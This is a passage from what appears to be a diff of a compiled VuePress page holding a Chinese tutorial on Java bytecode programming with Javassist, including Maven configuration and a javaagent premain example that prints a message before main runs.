"),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("看到这里,相信不少小伙伴会明确我们的最终效果了吧,没错,就是运行程序时,先输出"),a("code",[s._v("hello premain")]),s._v(" 后输出 "),a("code",[s._v("hello main")]),s._v("。")]),s._v(" "),a("p",[s._v("可能又会有小伙伴会问:程序的启动入口不就是main()方法吗?既然main()方法是程序的入口,那为啥不先执行main()方法呢?")]),s._v(" "),a("p",[s._v("别急,我们先来看下最终的效果,至于内部的原理,我们会在【字节码编程】专栏后面的文章中详细介绍。")]),s._v(" "),a("h3",{attrs:{id:"第一次运行程序"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#第一次运行程序"}},[s._v("#")]),s._v(" 第一次运行程序")]),s._v(" "),a("p",[s._v("这里,我们还是要运行main()方法,控制台输出的效果如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/41052d6c30a5360cee60178dc542fd33.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("我去,啥情况,不是说了要先输出"),a("code",[s._v("hello premain")]),s._v(" 后输出 "),a("code",[s._v("hello main")]),s._v(" 吗?为啥只输出了 "),a("code",[s._v("hello main")]),s._v(" ?难道是翻车了?")]),s._v(" "),a("p",[s._v("其实,这里是需要对程序进行简单的配置。")]),s._v(" "),a("h3",{attrs:{id:"配置程序"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#配置程序"}},[s._v("#")]),s._v(" 配置程序")]),s._v(" "),a("p",[s._v("首先,在IDEA中配置好Maven,将 "),a("code",[s._v("bytecode-javassist-01")]),s._v("项目打包成Jar文件,将打包好的 "),a("code",[s._v("bytecode-javassist-01-1.0.0-SNAPSHOT.jar")]),s._v(" 文件拷贝到D盘根目录(可以拷贝到任意目录或者不拷贝都行)。")]),s._v(" "),a("p",[s._v("然后在IDEA中配置下main()方法的启动参数,在IDEA的Program arguments中输入如下配置。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("-javaagent:D:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("bytecode-javassist-01-1.0.0-SNAPSHOT.jar\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/37e7c36c93d678be3da85bbeba0c4ede.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击 "),a("code",[s._v("Apply")]),s._v(",然后点击 "),a("code",[s._v("OK")]),s._v("。完成配置。")]),s._v(" "),a("h3",{attrs:{id:"第二次运行程序"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#第二次运行程序"}},[s._v("#")]),s._v(" 第二次运行程序")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/53c43a5ff82b2cd0a3c1f45528a03795.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("看到没,小伙伴们,确实是先输出了"),a("code",[s._v("hello premain")]),s._v(" 后输出了 "),a("code",[s._v("hello main")]),s._v(" 。")]),s._v(" "),a("p",[s._v("是不是很神奇,在接下来的一段时间内,我们开启一段神奇的字节码编程之旅吧。")]),s._v(" "),a("h2",{attrs:{id:"总结"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#总结"}},[s._v("#")]),s._v(" 总结")]),s._v(" "),a("p",[s._v("作为【字节码编程】的开篇,在文章的开始,就很多小伙伴迷茫的点,冰河给出了一些简单的建议,希望能够给正处于迷茫期的小伙伴们一点帮助。")]),s._v(" "),a("p",[s._v("接下来,我们介绍了动态字节码技术、如何实现字节码编程和字节码编程的使用场景。最后我们通过一个小案例让小伙伴们认识到尽管main()方法是整个程序的入口,但是在main()方法运行前,还是可以运行其他方法的。")]),s._v(" "),a("p",[a("strong",[s._v("最后,告诉大家一个好消息,经过很长时间的努力,冰河的个人博客也快上线啦,期待ing~~")])]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("p",[a("strong",[s._v("如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[339],{629:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"字节码编程-工作多年的你依然重复做着crud-是否接触过这种技术"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程-工作多年的你依然重复做着crud-是否接触过这种技术"}},[s._v("#")]),s._v(" 字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("p",[s._v("最近和不少小伙伴聊天,发现大部分小伙伴,其中可能就包括正在看文章的你和我,工作时间已经不短了,有些小伙伴工作3~5年了,有些甚至超过8年了。")]),s._v(" "),a("p",[s._v("但是大部分小伙伴平时的工作都是在简单的做着CRUD,疲于应付日常工作中的业务开发和修复系统Bug,每天都会加班到很晚。根本没时间去提升自己的技术能力,久而久之,自己的技术能力和工作年限出现了严重的不匹配现象。")]),s._v(" "),a("h2",{attrs:{id:"题外话"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#题外话"}},[s._v("#")]),s._v(" 题外话")]),s._v(" "),a("p",[s._v("其实,针对这些情况,有不少小伙伴曾不只一次的问过我:"),a("strong",[s._v("冰河,我感觉我的职业生涯很迷茫,能给我点建议吗?我工作时间不短了,整天做一些CRUD的工作,根本没时间学习啊!")])]),s._v(" "),a("p",[s._v("说实话,在互联网这个行业里,每个人或多或少的都会有过这种迷茫的阶段吧,我也有过。只不过我会让这种迷茫的感觉瞬间消失,更过的是去思考究竟是什么让我产生了这种迷茫的感觉?是技术能力?是业务理解?是人际交往?是职场规则?等等。。。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/fc82a5602bb439d17d9ca9423862c1db.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("我会把这些可能导致我迷茫的因素结合自身的实际情况进行深度分析:")]),s._v(" "),a("ul",[a("li",[s._v("如果是技术能力不足导致我产生了迷茫感,那我就会抓住一切可利用的业余时间提升自身技术能力。")]),s._v(" "),a("li",[s._v("如果是对公司的业务理解不足导致的迷茫感,那我就会加强对业务的理解,不断熟悉、推演、反复论证。")]),s._v(" "),a("li",[s._v("如果是人际交往存在问题导致的迷茫感,那我就会加强对于人际关系的处理能力。")]),s._v(" "),a("li",[s._v("如果是不熟悉职场规则导致的迷茫感,那我就会加强个人的职场素养。")]),s._v(" "),a("li",[s._v("消灭导致迷茫感的其他因素。")])]),s._v(" "),a("p",[s._v("所以,小伙伴们产生迷茫感并不重要,重要的是要分析出让你产生迷茫感的因素有哪些,是外在因素还是内在因素。找到让你产生迷茫感的因素之后,再将这些问题逐渐分解,慢慢提升自己缺乏的某种技能。这个过程或许比较漫长,可能需要几天,几个星期或者几个月的时间,这就需要各位小伙伴们要踏下心来慢慢沉淀和积累了。")]),s._v(" "),a("p",[s._v("冰河送给大家一句话:"),a("strong",[s._v("持之以恒,贵在坚持,每天进步一点点。")])]),s._v(" "),a("p",[s._v("说了这么多,算是对正在处于迷茫期的小伙伴们的一点小小的建议吧。")]),s._v(" "),a("p",[s._v("好了,为了帮助小伙伴们尽快的度过迷茫期,冰河希望能够在技术上更多的帮助到大家,从今天开始,为大家分享一些关于字节码编程的知识,这或许是你一直从事CRUD工作根本没有接触过的。")]),s._v(" "),a("h2",{attrs:{id:"动态字节码技术"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#动态字节码技术"}},[s._v("#")]),s._v(" 动态字节码技术")]),s._v(" "),a("p",[s._v("了解Java的小伙伴都知道,我们使用Java编写的代码是需要编译成字节码之后才能在JVM中运行的,而字节码一旦被加载到JVM的内存中,就可以被解释执行了。而Java源代码并编译后往往会生成对应的class文件,其实只要是文件,或多或少的就可以被修改。")]),s._v(" "),a("p",[s._v("如果我们使用某种技术按照某种规则对字节码文件进行了修改,重新定义了字节码的执行逻辑,或者加上我们自己的逻辑,这样不就改变了原有代码的执行逻辑吗?")]),s._v(" "),a("p",[s._v("除了修改原有的字节码之外,我们也可以利用动态字节码技术来动态创建一个新的类,使其完成我们想要的业务逻辑。")]),s._v(" "),a("p",[s._v("动态字节码的优势就是可以不改变之前的源代码,在程序生成字节码后,对生成的字节码进行修改,或者在运行期间动态生成新的类或者方法,可以真正的做到零侵入。")]),s._v(" "),a("h2",{attrs:{id:"如何实现字节码编程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#如何实现字节码编程"}},[s._v("#")]),s._v(" 如何实现字节码编程")]),s._v(" "),a("p",[s._v("在Java领域,有很多可以实现动态修改字节码的技术,比较流行的应该有三个:ASM、Javassist和Bute-buddy。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/img_convert/6295c2fee7b6849958744b5ac31abc32.png",loading:"lazy"}})]),s._v(" "),a("ul",[a("li",[s._v("ASM:直接操作字节码的指令,执行的效率比较高,但是要求使用者提前掌握Java字节码文件的格式和指令,对于使用者的要求比较高。")]),s._v(" "),a("li",[s._v("Javassist:提供了高级的API,执行的效率和ASM相比,相对要差一些,但是无需了解Java字节码的格式和指令,对于使用者的要求比较低。")]),s._v(" "),a("li",[s._v("Bute-buddy:提供了高级的API,执行的效率和ASM相比,相对要差一些,但是无需了解Java字节码的格式和指令,对于使用者的要求比较低。")])]),s._v(" "),a("h2",{attrs:{id:"字节码编程使用场景"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程使用场景"}},[s._v("#")]),s._v(" 字节码编程使用场景")]),s._v(" "),a("p",[s._v("试想,某天,你正坐在工位上愉快的敲着Bug,此时你的技术领导让你实现这样一个需求:在程序的运行期间,向某个类的某个方法的前面和后面加入某段业务代码,或者根据具体的业务场景替换掉某个方法的执行逻辑。你的领导又特别对你提醒了一句:"),a("strong",[s._v("注意是在运行期间动态修改,要作者零侵入,不要在源代码的基础上修改。")])]),s._v(" "),a("p",[s._v("听到这个需求时,你或者会想到Spring的AOP代理技术,没错,Spring的AOP代理技术确实可以实现这个需求。但是这样做需要在被代理的方法上添加注解,修改了原有的代码,不符合需求。另外,使用Spring的AOP技术的性能会比字节码编程低。")]),s._v(" "),a("p",[s._v("此外,大量的开源框架底层也使用到了字节码编程技术。例如,阿里开源的Dubbo、Arthas等。")]),s._v(" "),a("p",[s._v("字节码编程还有一个非常重要的核心应用场景——APM(应用性能管理)的实现。后面冰河会带着大家手撸一个完整的可使用的APM系统。")]),s._v(" "),a("h2",{attrs:{id:"入门案例"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#入门案例"}},[s._v("#")]),s._v(" 入门案例")]),s._v(" "),a("h3",{attrs:{id:"开发环境"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#开发环境"}},[s._v("#")]),s._v(" 开发环境")]),s._v(" "),a("ul",[a("li",[s._v("JDK 1.8")]),s._v(" "),a("li",[s._v("IDEA 2018.03")])]),s._v(" "),a("h3",{attrs:{id:"完整代码"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#完整代码"}},[s._v("#")]),s._v(" 完整代码")]),s._v(" "),a("p",[s._v("冰河已将本文章的完整案例代码提交到了GitHub和Gitee,目前正在已案例的形式持续更新,后面会基于字节码编程实现一个可用的APM系统。")]),s._v(" "),a("blockquote",[a("p",[s._v("GitHub:https://github.com/sunshinelyz/bytecode")]),s._v(" "),a("p",[s._v("Gitee:https://gitee.com/binghe001/bytecode")])]),s._v(" "),a("p",[a("strong",[s._v("本文对应的案例代码为:bytecode-javassist-01。如果文章对你有点帮助,小伙伴们在GitHub和Gitee上点个Star呀~~")])]),s._v(" "),a("h3",{attrs:{id:"案例效果"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#案例效果"}},[s._v("#")]),s._v(" 案例效果")]),s._v(" "),a("p",[s._v("在main()方法运行之前运行premain()方法。")]),s._v(" "),a("h3",{attrs:{id:"动手实践"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#动手实践"}},[s._v("#")]),s._v(" 动手实践")]),s._v(" "),a("p",[s._v("这个入门案例,我们先使用Javassist实现。创建Maven工程 "),a("code",[s._v("bytecode-javassist-01")]),s._v(", 在pom.xml文件中引入Javassist相关的依赖。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("properties")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("javassist.version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("3.20.0-GA"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependencies")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.javassist"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${javassist.version}"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("添加项目构建模块,指定项目的"),a("code",[s._v("Premain-Class")]),s._v("。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("build")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("plugins")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("plugin")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.maven.plugins"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("maven-jar-plugin"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("2.2"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("configuration")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("archive")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("manifestEntries")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Project-name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${project.name}"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Project-version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${project.version}"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Premain-Class")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("io.binghe.bytecode.javassist.test.Premain"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Boot-Class-Path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist-3.20.0-GA.jar"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("Can-Redefine-Classes")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("false"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("skip")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("true"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br")])]),a("p",[s._v("创建Main类。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description Javassist的第一个测试程序\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Main")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"hello main"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token 